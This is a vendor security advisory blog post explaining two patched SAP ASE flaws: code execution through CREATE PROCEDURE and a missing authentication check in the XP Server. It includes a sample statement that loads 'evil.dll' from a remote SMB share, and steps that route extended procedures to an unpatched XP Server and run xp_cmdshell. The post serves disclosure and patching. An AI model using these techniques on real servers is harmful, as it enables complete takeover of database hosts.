Recently SAP patched two important security issues in Adaptive Server Enterprise (ASE). One is arbitrary code execution via the
CREATE PROCEDURE statement. It turns out that any valid database user granted the
CREATE PROCEDURE privilege can trivially run arbitrary code in the server's process context by creating wrappers around functions exposed by libraries accessible to the server process. This completely bypasses restrictions imposed by the extended procedure registration mechanism via the
sp_addextendedproc system stored procedure which requires System Administrator access.
Consider this example:
CREATE PROCEDURE RunMe AS EXTERNAL NAME "\\SERVER\PATH\evil.dll"
Executed on a Windows version of ASE, this code will fetch the
evil.dll from a specific remote box (which should be configured to allow access via SMB to everyone) and register it as a procedure within the current database. If the exported function named
RunMe is defined in the
evil.dll, a call as shown below will succeed and run that function:
Essentially this will execute attacker-provided code in the XP server's process context. This results in a complete takeover of both the XP server and the database server because both servers run on the same machine under the same operating system accounts.
To fix the problem, SAP added restrictions on the path used to register external libraries.
Here is a quote from the EBF 24488 README for ASE 16.0 SP01 PL02 release:
2. The DLL (dynamic link library) containing the code for the Extended
Stored Procedure (ESP) must now be located in the 'esplib' subdirectory
in the $SYBASE release tree as follows:
$SYBASE/$SYBASE_ASE/esplib (on unix)
%SYBASE%\%SYBASE_ASE%\esplib (on windows)
Please create the above directory (with restricted permissions) if it
doesn't already exist in your release tree. This is to ensure that only
DLLs from a trusted source are loaded by the xpserver.
So now there is a restriction on where users can place extended stored procedure files (libraries), which should limit the attack surface significantly.
The other problem is missing authentication checks in the ASE XP Server component. Basically the XP Server responsible for extended procedures handling does not have any security in place on unpatched servers! The same problem affecting the Backup server component was reported by to SAP by Trustwave SpiderLabs and fixed almost two years ago (see SAP Note: 1927859 - Missing authentication check in SAP Sybase ASE).
So what's going on here? The database server communicates with the XP Server via RPC. When a client asks to run an extended procedure, the database server establishes a connection (using the TDS protocol, like a normal client would) to the XP Server and sends an RPC request. The authentication step is completely ignored there. So all an attacker needs to do to take over an unpatched XP Server is to use his own database server and run a series of commands on it:
- Drop existing XP Server definition:
- Add remote XP Server that will be attacked which will route all subsequent extended procedure invocations to the remote box (RPC):
sp_addserver LOCAL_XP, RPCServer, REMOTE_XP
- Add an entry to the interfaces file to resolve
REMOTE_XPto XP Server being attacked.
- Set the
xp_cmdshellcontext system configuration option to zero to turn off security in
xp_cmdshellbuilt-in extended procedure which will be used next.
- Run the
xp_cmdshellto execute arbitrary OS commands!
Steps 3 and 4 could be changed of course to execute another extended stored procedure.
If you haven't already, please install the available patches. Trustwave database security products (Trustwave AppDetectivePRO and Trustwave DbProtect) can help you validate whether your database systems are patched against these and other security issues.
Please see the Trustwave advisory for more information about these vulnerabilities: